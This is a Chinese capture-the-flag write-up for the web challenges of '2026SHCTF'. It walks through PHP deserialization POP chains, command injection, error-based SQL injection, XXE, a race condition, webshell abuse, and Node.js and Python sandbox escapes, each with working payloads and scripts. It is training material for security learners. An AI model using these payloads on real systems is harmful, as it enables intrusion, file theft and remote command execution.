2026SHCTF writeup
🌐WEB
只有阶段一二
0x01 ezphp
审计源码
<?php
highlight_file(__FILE__);
error_reporting(0);
class Sun{
public $sun;
public function __destruct(){
die("Maybe you should fly to the ".$this->sun);
}
}
class Solar{
private $Sun;
public $Mercury;
public $Venus;
public $Earth;
public $Mars;
public $Jupiter;
public $Saturn;
public $Uranus;
public $Neptune;
public function __set($name,$key){
$this->Mars = $key;
$Dyson = $this->Mercury;
$Sphere = $this->Venus;
$Dyson->$Sphere($this->Mars);
}
public function __call($func,$args){
if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){
$exploar = new $func($args[0]);
$road = $this->Jupiter;
$exploar->$road($this->Saturn);
}
else{
die("Black hole");
}
}
}
class Moon{
public $nearside;
public $farside;
public function __tostring(){
$starship = $this->nearside;
$starship();
return '';
}
}
class Earth{
public $onearth;
public $inearth;
public $outofearth;
public function __invoke(){
$oe = $this->onearth;
$ie = $this->inearth;
$ote = $this->outofearth;
$oe->$ie = $ote;
}
}
if(isset($_POST['travel'])){
$a = unserialize($_POST['travel']);
throw new Exception("How to Travel?");
}
?>
构造pop链:
Sun::__destruct -> Moon::__tostring -> Earth::__invoke -> Solar::__set -> Solar::__call
一开始用readfile运行不了,最后注意到Solar::__call的这三行代码
$exploar = new $func($args[0]);
$road = $this->Jupiter;
$exploar->$road($this->Saturn);
__call动态创建了一个新类,并且调用了它的一个方法动态执行。所以这里其实不是在考rce绕过,而是在考php原生类
SplFileObject类用于文件操作,提供了丰富的方法来读取和写入文件
# 括号内是目标文件名
$obj = new SplFileObject("文件名");
$obj->fpassthru(); # 输出文件内容,括号里可有可没有
在写脚本前还有一点需要注意,如果等到脚本结束析构对象会抛出异常(How to Travel?)清空输出缓冲区,导致没有回显。所以我们需要利用数组覆盖使析构提前,完整poc如下
$exec = new Solar();
$exec -> Jupiter = 'fpassthru';
$exec -> Saturn = '/flag';
$solar = new Solar();
$solar -> Mercury = $exec;
$solar -> Venus = "SplFileObject";
$solar -> Mars = "none";
$earth = new Earth();
$earth -> onearth = $solar;
$earth -> inearth = "none";
$earth -> outofearth = "/flag";
$moon = new Moon();
$moon -> nearside = $earth;
$sun = new Sun();
$sun -> sun = $moon;
$payload = serialize($sun);
$poc = "a:2:{i:0;".$payload.";i:0;s:4:'none';}";
# 利用GC提前析构
echo urlencode($poc);
0x02 ez-ping
源码里展示了ping.php的路由,使用strings查看文件
127.0.0.1 && strings ping.php
回显
<?php
header('Content-Type: text/plain; charset=utf-8');
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$domain = $_POST['domain'] ?? '';
if (!preg_match('/^[a-zA-Z0-9\.\-\& \?\*\/]*$/', $domain)) {
http_response_code(400);
echo "
exit;
}
if (empty($domain)) {
http_response_code(400);
echo "
exit;
}
try {
$cmd = "ping -c 4 " . $domain;
if (!preg_match('/cat|tac|flag|\*/',$cmd)){
$output = shell_exec($cmd . " 2>&1");
} else {
$output = "
}
echo $output ?: "
} catch (Exception $e) {
http_response_code(500);
echo "
: " . $e->getMessage();
}
审计代码,命令行不能出现cat tac flag *
用?通配
127.0.0.1&&cd ../../../&&strings fl?g

0x03 上古遗迹档案馆
感觉考sql注入,试了试报错
看到MariaDB确定是mysql注入
盲注太慢了,用报错注入
1' union select count(*),concat((select database()),0x26,floor(rand(0)*2)) as x from information_schema.tables group by x--
换行读取表名
1' union select count(*),concat((select table_name from information_schema.tables where table_schema='archive_db' limit 1,1),0x26,floor(rand(0)*2)) as x from information_schema.tables group by x--
换行读取列名
1' union select count(*),concat((select column_name from information_schema.columns where table_name='secret_vault' limit 1,1),0x26,floor(rand(0)*2)) as x from information_schema.tables group by x--
拿flag
1' union select count(*),concat((select secret_key from secret_vault limit 0,1),0x26,floor(rand(0)*2)) as x from information_schema.tables group by x--

0x04 Go
{
"username": "guest",
"role": "guest",
"message": "Access denied. Only role='admin' can view the flag."
}
这道题在考Go后端的特性。Go语言的标准库在处理冲突json时会保留最后出现的键值对。并且Go的json解析器非常宽松,不区分大小写并且支持Unicode编码。
具体将传参形式改为POST,加上Content-Type: application/json头,构造如下payload
{
"username": "guest",
"Role": "\u0061dmin"
}

0x05 kill_king
网页端小游戏杀不死的国王,常规查看源代码的快捷键被禁用,用crtl+shift+I打开调试器
在js源码里找到以下逻辑
if (_this.boss) {
_this.audioController.play("notpossible");
window.clearInterval(timer);
_this.gamewin = true;
fetch('check.php', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'result=win'
})
.then(response => response.text())
.then(flag => {
document.getElementById('flagBox').innerText = flag;
})
.catch(err => console.error('获取 flag 出错:', err));
...
}
如果_this.boss为真则会发送一个post请求到check.php获取flag
试了_this.boss=true,发现只是传送到boss关卡,并没有直接胜利。好在游戏中敌人的血量由_this.enemy.health控制,我们将其清空。在控制台输入如下
_this.boss = true;
_this.enemy.health = 0;
回显check.php源码
<?php
// 国王并没用直接爆出flag,而是出现了别的东西???
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['result']) && $_POST['result'] === 'win') {
highlight_file(__FILE__);
if(isset($_GET['who']) && isset($_GET['are']) && isset($_GET['you'])){
$who = (String)$_GET['who'];
$are = (String)$_GET['are'];
$you = (String)$_GET['you'];
if(is_numeric($who) && is_numeric($are)){
if(preg_match('/^\W+$/', $you)){
$code = eval("return $who$you$are;");
echo "$who$you$are = ".$code;
}
}
}
} else {
echo "Invalid result.";
}
} else {
echo "No access.";
}
?>
要求传参result=win,规定$who和$are为数字,$you为除了_外的其他符号,最后通过eval计算表达式的值并返回。who和are都可以是任意数字,you可以用取反绕过。关键是eval(),我们需要用+将三个变量隔离开
return 1+(~...)(~...)+1
脚本如下
def encode(str_input):
payload=""
for char in str_input:
order = hex(~ord(char) & 0xFF)[2:].upper()
payload += f"%{order}"
return f'~{payload}'
func = encode(input("请输入函数"))
arg = encode(input("请输入命令"))
f_payload = f"%2B%28{func}%29%28{arg}%29%2B"
# 这里不用urllib是因为二重编码order会引发歧义
print(f_payload)

0x06 Mini Blog
发布一篇文章绕后抓包可以看到xml格式的请求体
经典xxe,直接构造自定义实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY hac SYSTEM "file:///flag">]>
<post>
<title>&hac;</title>
<content>111</content>
</post>

0x07 ez_race
白盒审计,在bank/views.py有这么一段代码
def form_valid(self, form):
amount = form.cleaned_data["amount"]
with transaction.atomic():
time.sleep(1.0)
user = models.User.objects.get(pk=self.request.user.pk)
if user.money >= amount:
user.money = F('money') - amount
user.save()
models.WithdrawLog.objects.create(user=user, amount=amount)
user.refresh_from_db()
if user.money < 0:
return HttpResponse(os.environ.get("FLAG", "flag{flag_test}"))
该代码对应提现功能,在扣款时会有1秒的延时,当余额为负则返回flag。我们就需要利用这一秒的延时并发请求执行扣款逻辑。我们使用burpsuite的intruder进行竞争攻击
我们抓包提现请求,在尾部加上一个空字典。生成5次请求,最大并发数设置为5
赢得竞争
0x08 05_em_v_CFK
业务逻辑题。flag商店,flag标价50刀,但余额只有3刀
index源代码有一行注释
/* 5bvE5YvX5Ylt5YdT5Yvdp2uyoTjhpTujYPQyhXoxhVcmnT935L+P5cJjM2I05oPC5cvB55dR5Mlw6LTK54zc5MPa */
这是ROT13+base64双重加密的信息,解密后得到一句话
/* 我上传了个shell.php, 带上show参数get小明的圣遗物吧 */
直接访问给我报404了,好在我有拿题先扫盘的习惯
访问/uploads/shell.php,用伪协议读取shell.php
<?php
if (isset($_GET['show'])) {
highlight_file(__FILE__);
}
$pass = 'c4d038b4bed09fdb1471ef51ec3a32cd';
if (isset($_POST['key']) && md5($_POST['key']) === $pass) {
if (isset($_POST['cmd'])) {
system($_POST['cmd']);
} elseif (isset($_POST['code'])) {
eval($_POST['code']);
}
} else {
http_response_code(404);
}
?>
改webshell需要密码才能运行,解密$pass得密码114514
访问上一级目录,有两个文件
connect.php被加密了,根本没法看
index.php可以看到购买页面源码
<?php
include 'connect.php';
$my_money = 3.00;
$msg = "";
$target_id = 0;
if (isset($_POST['buy']) && isset($_POST['item_id'])) {
$target_id = (int)$_POST['item_id'];
if ($target_id != 0) {
try {
$stmt = $pdo->prepare("CALL buy_item(?, ?)");
$stmt->execute([$target_id, $my_money]);
$res = $stmt->fetch();
$msg = $res['final_message'];
$my_money -= $res['current_price'];
} catch (Exception $e) {
$msg = "Transaction Error: " . $e->getMessage();
}
}
else {
$msg = "Invalid item selected.";
}
}
else {
try {
$stmt = $pdo->query("SELECT id, name, price FROM goods ORDER BY id ASC");
if ($stmt === false) {
exit;
}
$goods_list = $stmt->fetchAll();
}
catch (Exception $e) {
die("Error fetching goods list.");
}
}
?>
可以确定connect.php是连接数据库的文件,存储了$pdo对象。里面预定义了buy_item(?, ?)储存过程,调用时利用execute传入商品id和余额,然后fetch返回结果
那么我们可以利用shell的eval功能执行php代码来调用buy_item逻辑,传入id=3和余额99999再回显结果
key=114514&code=include '../connect.php';$p=$GLOBALS['pdo'];$s=$p->prepare('CALL buy_item(?,?)');$s->execute([3,99999]);var_dump($s->fetch());

0x09 calc?js?fuck!
审计源码,考察Node.js无字母rce
const express = require('express');
const app = express();
const port = 5000;
app.use(express.json());
const WAF = (recipe) => {
const ALLOW_CHARS = /^[012345679!\.\-\+\*\/\(\)\[\]]+$/;
if (ALLOW_CHARS.test(recipe)) {
return true;
}
return false;
};
function calc(operator) {
return eval(operator);
} // 利用点
app.get('/', (req, res) => {
res.sendFile(__dirname + '/index.html');
});
app.post('/calc', (req, res) => {
const { expr } = req.body;
console.log(expr);
if(WAF(expr)){
var result = calc(expr);
res.json({ result }); // 触发点在这里
}else{
res.json({"result":"WAF"});
}
});
app.listen(port, () => {
console.log(`Server running on port ${port}`);
});
rce利用js特性:
false => ![]
true => !![]
undefined => [][[]]
Array => []
0 => +[]
1 => +!+[]
2 => !+[] + !+[] # 1+1
(![]+[])[1] => a
rce构造可以用jsfuck在线生成器生成,关键是payload构造,要绕过waf进行js沙盒逃逸
在Node.js环境中,要想执行系统命令,通常需要加载child_process模块使用execSync,加载模块需要调用require。为了避开require审查,我们从全局对象process入手,process对象的mainModule属性指向了当前执行的模块对象,其中必包含require方法。于是我们可以构造如下payload
process.mainModule.require('child_process').execSync('cat /flag').toString()
利用控制台给/calc接口发送post请求
fetch('/calc', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
expr: 'payload'
})
})
.then(res => res.json())
.then(data => console.log("服务器返回:", data))

0x10 Eazy_Pyrunner
python沙盒逃逸。在关于页面里可以看到file参数
访问app.py得到沙盒源代码
from flask import Flask, render_template_string, request, jsonify
import subprocess
import tempfile
import os
import sys
app = Flask(__name__)
@app.route('/')
def index():
file_name = request.args.get('file', 'pages/index.html')
try:
with open(file_name, 'r', encoding='utf-8') as f:
content = f.read()
except Exception as e:
try:
with open('pages/index.html', 'r', encoding='utf-8') as f:
content = f.read()
except:
content = "404 Not Found"
return render_template_string(content)
def waf(code):
blacklisted_keywords = ['import', 'open', 'read', 'write', 'exec', 'eval', '__', 'os', 'sys', 'subprocess', 'run', 'flag', '\'', '\"']
for keyword in blacklisted_keywords:
if keyword in code:
returnFalse
returnTrue
@app.route('/execute', methods=['POST'])
def execute_code():
code = request.json.get('code', '')
ifnot code:
return jsonify({'error': '请输入Python代码'})
ifnot waf(code):
return jsonify({'error': 'Hacker!'})
temp_file_name = None
try:
with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
f.write(f"""import sys
sys.modules['os'] = 'not allowed'
def is_my_love_event(event_name):
return event_name.startswith("Nothing is my love but you.")
def my_audit_hook(event_name, arg):
if len(event_name) > 0:
raise RuntimeError("Too long event name!")
if len(arg) > 0:
raise RuntimeError("Too long arg!")
if not is_my_love_event(event_name):
raise RuntimeError("Hacker out!")
__import__('sys').addaudithook(my_audit_hook)
{code}""")
temp_file_name = f.name
result = subprocess.run(
[sys.executable, temp_file_name],
capture_output=True,
text=True,
timeout=10
)
os.unlink(temp_file_name)
return jsonify({
'stdout': result.stdout,
'stderr': result.stderr
})
except subprocess.TimeoutExpired:
return jsonify({'error': '代码执行超时(超过10秒)'})
except Exception as e:
return jsonify({'error': f'执行出错: {str(e)}'})
finally:
if temp_file_name and os.path.exists(temp_file_name):
os.unlink(temp_file_name)
if __name__ == '__main__':
app.run(debug=True)
第一层过滤点在字符串blacklisted_keywords,可以利用ascii编码绕过
第二层过滤是缓存投毒,sys.modules['os'] = 'not allowed',可以重新导入模块解决
第三层是审计钩子,每一次执行都会生成一个自带hook的py文件
import sys
sys.modules['os'] = 'not allowed'
def is_my_love_event(event_name):
return event_name.startswith("Nothing is my love but you.")
def my_audit_hook(event_name, arg):
if len(event_name) > 0:
raise RuntimeError("Too long event name!")
if len(arg) > 0:
raise RuntimeError("Too long arg!")
if not is_my_love_event(event_name):
raise RuntimeError("Hacker out!")
__import__('sys').addaudithook(my_audit_hook)
python在3.8版本的sys模块中引入了审计钩子(audit hook),可以利用sys.addaudithook()加入自定义审计函数。他会监控所有的系统事件(包括模块导入、文件操作等)
该沙盒中审计函数会检查系统事件名称(event_name)和参数(arg),要求event_name必须以"Nothing is my love but you."开头,并且event_name和arg的长度必须为0,否则就会抛出异常,清空回显结果
好在python函数定义的优先级是局部变量>全局变量>内置变量,所以我们可以在代码里用匿名函数覆盖len和is_my_love_event函数
len = lambda x: 0
is_my_love_event = lambda x: True
利用chr脚本生成敏感词绕过字符串过滤
std_input = input("请输入字符串:")
for char in range(len(std_input)):
a = ord(std_input[char])
print(f'chr({a})', end=' ')
if char != len(std_input) - 1:
print('+', end=' ')
payload如下(小叶Sec)
len = lambda x: 0
is_my_love_event = lambda x: True
v_blt = chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)
v_imp = chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)
v_s = chr(115)+chr(121)+chr(115)
v_mod = chr(109)+chr(111)+chr(100)+chr(117)+chr(108)+chr(101)+chr(115)
v_o = chr(111)+chr(115)
v_p = chr(112)+chr(111)+chr(112)+chr(101)+chr(110)
v_r = chr(114)+chr(101)+chr(97)+chr(100)
v_c = chr(47)+chr(114)+chr(101)+chr(97)+chr(100)+chr(95)+chr(102)+chr(108)+chr(97)+chr(103)
g = globals()
b = g[v_blt] # 获取globals()['__builtins__']
f_imp = getattr(b, v_imp) # 获取__builtins__.__import__
obj_s = f_imp(v_s) # 执行__import__('sys')
dic_m = getattr(obj_s, v_mod) # 获取 sys.modules
del dic_m[v_o] # 执行del sys.modules['os']
obj_o = f_imp(v_o) # 重新导入os模块(__import__('os'))
proc = getattr(obj_o, v_p)(v_c) # 执行os.popen('/read_flag')
res = getattr(proc, v_r)() # 读取结果(.read())
print(res)

